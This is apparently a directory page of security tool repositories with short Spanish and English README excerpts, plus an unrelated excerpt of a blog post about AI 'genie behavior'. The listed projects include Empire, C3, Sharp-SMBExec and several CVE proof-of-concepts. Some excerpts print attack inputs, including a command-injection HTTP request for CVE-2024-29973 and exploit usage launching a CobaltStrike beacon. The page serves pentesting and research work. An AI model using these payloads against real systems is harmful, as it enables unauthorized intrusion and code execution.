sshpass-win32

sshpass-win32 Como https://linux.die.net/man/1/sshpass Requisitos previos Para ejecutar sshpass, debes instalar: Windows 10 Insider build 17733 o posterior Instalación Winget winget install xhcoding.sshpass-win32 Scoop scoop install sshpass Uso Uso: sshpass opciones argumentos de comando -h, --he...

I Want Better Reporting on AI Genie Behavior

AI systems are regularly completing tasks in ways that their prompters don't want or intend. Some of them are disturbing, and some of them are dangerous. This is something I've been calling "genie behavior," because I think that really gets at the core of what's happening. I wish the popular pres...

ntfstool

ntfstool NTFSTool is a forensic tool focused on NTFS volumes. It supports reading partition info MBR, partition table, VBR but also information on Master File Table, Bitlocker encrypted volume, EFS encrypted files, USN journal and more. Download the latest binaries on AppVeyor or by checking the...

Empire

Empire Empire es un framework de post-explotación y emulación de adversarios que se utiliza para ayudar a los Red Teams y a los Penetration Testers. El servidor de Empire está escrito en Python 3 y es modular para permitir flexibilidad al operador. Empire viene integrado con un cliente que puede...

wappalyzer-next

Wappalyzer Next This project is a command line tool and python library that uses the Wappalyzer browser extension and its fingerprints to detect technologies. Other projects that emerged after the discontinuation of the official open-source project are using outdated fingerprints and lack accurac...

wappalyzer-next

Wappalyzer Next Este proyecto es una herramienta de línea de comandos y una biblioteca de Python que utiliza la extensión de navegador Wappalyzer y sus huellas digitales para detectar tecnologías. Otros proyectos que surgieron después de la interrupción del proyecto oficial de código abierto está...

bugsy

Bugsy Bugsy is a command-line interface CLI tool that provides automatic security vulnerability remediation for your code. It is the community edition version of Mobb, the first vendor-agnostic automated security vulnerability remediation tool. Bugsy is designed to help developers quickly identif...

CVE-2020-0787

CVE-2020-0787 named pipe Es solo una demo, no lo uses en entornos reales. -Obtén el resultado para la ejecución de comandos Usa cmd /c： exp.exe "cmd /c whoami \\.\pipe\showme " show -Ejecuta beacon.exe： exp.exe "C:/beacon.exe" Para CobaltStrike Es mejor que el proyecto actual:...

TP-Link-WDR-Router-Command-injection_POC

Este repositorio no tiene un README...

botb

Break out the Box BOtB BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies. What does it do? BOtB is a CLI tool which allows you to: Exploit common container vulnerabilities Perform commo...

C3

C3 Build C3 MSVC/badge.svg?branch=master Build C3 Clang/badge.svg?branch=master C3 Custom Command and Control es una herramienta que permite a los Red Teams desarrollar y utilizar rápidamente canales de comando y control C2 esotéricos. Es un framework que extiende otras herramientas de red team,...

CVE-2020-0688

Exploit and detect tools for CVE-2020-0688Microsoft Exchange default MachineKeySection deserialize vulnerability build csc ExchangeCmd.cs csc ExchangeDetect.cs usage ExchangeDetect ExchangeCmd sub commands: exec args exec command arch get remote process architecturefor shellcode shellcode run...

wildpwn

First things first! Read: https://www.exploit-db.com/papers/33930/ Basic usage It goes something like this: usage: wildpwn.py -h --file FILE payload folder Tool to generate unix wildcard attacks positional arguments: payload Payload to use: combined | tar | rsync folder Where to write the payload...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

cve-2023-38831

Introducción del proyecto Esta es una herramienta escrita en Go para generar el POC de la vulnerabilidad CVE-2023-38831. Versiones afectadas: WinRAR 6.23 ¿Cómo se utiliza? Compilar go build cve-2023-38831.go Uso cve-2023-38831.exe 1234.jpg payload.cmd poc.zip Donde 1234.jpg puede ser el resultado...

Sharp-SMBExec

Sharp-SMBExec Una conversión nativa en C del script de PowerShell Invoke-SMBExec de Kevin Robertson. https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1 Compilado para .NET 3.5 Uso Sharp-SMBExec.exe hash:"hash" username:"username" domain:"domain.tld"...

MSSQL-Pentest-Cheatsheet

🗄️ Chuleta de pentest MSSQL Una hoja de referencia práctica de pruebas de penetración de Microsoft SQL Server diseñada para pentesters, red teamers y estudiantes de ciberseguridad para comprender cómo enumerar, explotar y abusar de bases de datos MSSQL mal configuradas durante evaluaciones de...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Una vulnerabilidad de omisión de autenticación en el componente web de Ivanti ICS 9.x, 22.x e Ivanti Policy Secure permite a un atacante remoto acceder a recursos restringidos saltándose las comprobaciones de control. uso: ./CVE-2023-46805.sh https://fqdn:port ./CVE-2023-46805.sh...

CVE-2026-54161

CVE-2026-54161 PoC Resumen upsmon interpola el valor proporcionado por el servidor, controlable por el atacante,ups.alarm, sin sanitizar, en un comando de shell que ejecuta mediante system. Cuando un dispositivo monitoreado reporta un estado ALARM y el operador ha configurado NOTIFYCMD con EXEC e...

detectXSSlib

detectXSSlib Project folders: detectxsslib - main library see ReadMe.txt for more information modules - server modules using detectxsslib test - sets of URLs used for verification of the library tools - command line tools using detectxsslib See license.txt for licensing details...